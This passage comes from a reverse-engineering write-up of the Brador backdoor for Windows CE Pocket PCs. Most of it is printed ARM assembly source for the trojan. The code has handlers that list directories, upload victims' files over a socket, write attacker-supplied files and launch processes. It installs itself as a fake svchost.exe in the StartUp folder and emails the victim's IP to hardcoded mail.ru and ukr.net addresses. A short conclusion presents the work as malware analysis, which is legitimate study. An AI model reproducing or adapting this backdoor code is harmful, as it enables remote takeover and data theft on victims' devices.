R1 eor R3, R3, R3 bl send ldr R0, hFindFile ldr R1, =PE_header+0x200 ; WIN32_FIND_DATA bl FindNextFileW tst R0, R0 bne _find_next _no_more_files eor R3, R3, R3 str R3, PE_header ldr R0, victims_socket ldr R1, =PE_header ldr R2, =4 bl send ; send "Final entry" b _recv_loop ; ******************************************************************************************* ; ******************************************************************************************* _cmd_get ldr R0, =PE_header+4 ; filename to get ldr R1, =GENERIC_READ eor R2, R2, R2 eor R3, R3, R3 ldr R4, =OPEN_EXISTING str R4, [SP] ldr R4, =FILE_ATTRIBUTE_NORMAL str R4, [SP, #4] str R3, [SP, #8] bl CreateFileW ; try to open file tst R0, R0 beq _recv_loop str R0, hFile eor R1, R1, R1 bl GetFileSize str R0, PE_header ldr R0, victims_socket ldr R1, =PE_header ldr R2, =4 eor R3, R3, R3 bl send ; send filesize _send_next_file_part ldr R0, hFile ldr R1, =PE_header ldr R2, =PE_header_size ldr R3, =fd_set eor R4, R4, R4 str R4, [SP] bl ReadFile ; read part of file ldr R2, fd_set tst R2, R2 beq _get_EOF ; file ends ldr R0, victims_socket ldr R1, =PE_header eor R3, R3, R3 bl send ; send next file part b _send_next_file_part _get_EOF ldr R0, hFile bl CloseHandle b _recv_loop ; ******************************************************************************************* ; ******************************************************************************************* _cmd_put ldr R0, =PE_header+4 ; filename to put ldr R1, =GENERIC_WRITE eor R2, R2, R2 eor R3, R3, R3 ldr R4, =CREATE_ALWAYS str R4, [SP] ldr R4, =FILE_ATTRIBUTE_NORMAL str R4, [SP, #4] str R3, [SP, #8] bl CreateFileW tst R0, R0 beq _recv_loop ; can't create file str R0, hFile bl proc_send_OK ; send ACK ldr R6, =timeout_tiny bl proc_sock_wait_read ; wait filesize ldr R0, victims_socket ldr R1, =PE_header ldr R2, =PE_header_size eor R3, R3, R3 bl recv ; recv filesize ldr R7, PE_header mov R7, R7, LSR #10 add R7, R7, #1 ; R7=parts count _get_next_file_part ldr R6, =timeout_tiny bl proc_sock_wait_read ; wait next file part tst R0, R0 beq _put_error ldr R0, victims_socket ldr R1, =PE_header ldr R2, =PE_header_size eor R3, R3, R3 bl recv mov R2, R0 ldr R0, hFile ldr R1, =PE_header ldr R3, =fd_set eor R4, R4, R4 str R4, [SP] bl WriteFile subs R7, R7, #1 bne _get_next_file_part bl proc_send_OK _put_error ldr R0, hFile bl CloseHandle b _recv_loop ; ******************************************************************************************* ; ******************************************************************************************* _cmd_mes eor R0, R0, R0 ldr R1, =PE_header+4 ldr R2, =mestit mov R3, #MB_OK bl MessageBoxW bl proc_send_OK b _recv_loop ; ******************************************************************************************* ; ******************************************************************************************* _cmd_run ldr R0, =PE_header+4 eor R1, R1, R1 eor R2, R2, R2 eor R3, R3, R3 mvn R4, #0 str R4, [SP] ldr R4, =CREATE_NEW_CONSOLE str R4, [SP, #4] str R3, [SP, #8] str R3, [SP, #0xC] str R3, [SP, #0x10] ldr R4, =PE_header+0x200 ; PROCESS_INFORMATION str R4, [SP, #0x14] bl CreateProcessW tst R0, R0 beq _cmd_run_error bl proc_send_OK _cmd_run_error b _recv_loop ; ******************************************************************************************* ; ******************************************************************************************* proc_SMTP_send_recv mov R7, LR ldr R0, SMTP_socket eor R3, R3, R3 bl send ldr R6, =timeout_tiny bl proc_sock_wait_read ldr R0, SMTP_socket ldr R1, =PE_header ldr R2, =PE_header_size eor R3, R3, R3 bl recv mov PC, R7 ; ******************************************************************************************* ; ******************************************************************************************* proc_sock_wait_read mov R5, LR ldr R0, =fd_set ldr R1, =1 str R1, [R0] eor R0, R0, R0 ldr R1, =fd_set eor R2, R2, R2 eor R3, R3, R3 mov R4, R6 str R4, [SP] bl select mov PC, R5 ; ******************************************************************************************* ; ******************************************************************************************* proc_sock_wait_write mov R5, LR ldr R0, =fd_set ldr R1, =1 str R1, [R0] eor R0, R0, R0 eor R1, R1, R1 ldr R2, =fd_set eor R3, R3, R3 mov R4, R6 str R4, [SP] bl select mov PC, R5 ; ******************************************************************************************* ; ******************************************************************************************* proc_send_OK mov R5, LR ldr R0, victims_socket ldr R1, =mes_OK ldr R2, =mes_OK_len eor R3, R3, R3 bl send mov PC, R5 ; ******************************************************************************************* ; ******************************************************************************************* ; DATA ALIGN PE_header SPACE 0x400 PE_header_size equ .-PE_header header_size dcw 0x400 text_size dcw 0xE00 rdata_size dcw 0x200 data_size dcw 0x200 hFile dcd 0 hFindFile dcd 0 trojname dcb 0x5C,0,"W",0,"i",0,"n",0,"d",0,"o",0,"w",0,"s",0,0x5C,0, "S",0,"t",0,"a",0,"r",0,"t",0,"U",0,"p",0,0x5C,0, "s",0,"v",0,"c",0,"h",0,"o",0,"s",0,"t",0,".",0,"e",0,"x",0,"e",0,0,0 ALIGN hostname SPACE 0x10 hostname_len equ .-hostname fd_set dcd 1 SMTP_socket dcd 0 victims_socket dcd 0 SMTP_sa_in dcw AF_INET dcw 0x1900 ; SMTP port dcd 0x6F1743C2 ; smtp.mail.ru SPACE 8 SMTP_sa_in_len equ .-SMTP_sa_in local_sa_in dcw AF_INET dcw 0xAD0B ; victims port dcd 0 ; victims IP SPACE 8 local_sa_in_len equ .-local_sa_in timeout_large dcd 3600 ; wait 60 min dcd 0 timeout_small dcd 600 ; wait 10 min dcd 0 timeout_tiny dcd 60 ; wait 1 min dcd 0 victims_IP SPACE 0x10 dcb 0xD,0xA,".",0xD,0xA victims_IP_len equ .-victims_IP HELO dcb "HELO victim",0xD,0xA HELO_len equ .-HELO MAIL dcb "MAIL FROM:br@mail.ru",0xD,0xA MAIL_len equ .-MAIL RCPT dcb "RCPT TO:brokensword@ukr.net",0xD,0xA RCPT_len equ .-RCPT DATA dcb "DATA",0xD,0xA DATA_len equ .-DATA QUIT dcb "QUIT",0xD,0xA QUIT_len equ .-QUIT CON_EST dcb "Connection established", 0 CON_EST_len equ .-CON_EST mestit dcb "H",0,"i",0,0,0 mes_OK dcb "OK",0 mes_OK_len equ .-mes_OK mes_ERR dcb "Error", 0 mes_ERR_len equ .-mes_ERR mes_CLOSE dcb "Connection closed", 0 mes_CLOSE_len equ .-mes_CLOSE cmd dcb "d","g","r","p","m","f" ALIGN cmd_table dcd _cmd_dir dcd _cmd_get dcd _cmd_run dcd _cmd_put dcd _cmd_mes dcd _cmd_fin ; ******************************************************************************************* END
Conclusion
Many of us will remember the summer of 2004 as the time when Windows CE lost its innocence. In a matter of a few sultry months, the Pocket PC was repeatedly violated, as malware writers and security experts alike started to demonstrate weaknesses and vulnerabilities in these mobile devices. But while previous malware and proof-of-concept code for Windows CE was created and studied in a controlled environment, Brador was the first malicious program in the wild. By presenting our "black box," step-by-step reverse-engineering analysis, we hope to inspire others to enter the exciting field of Windows CE reverse-engineering.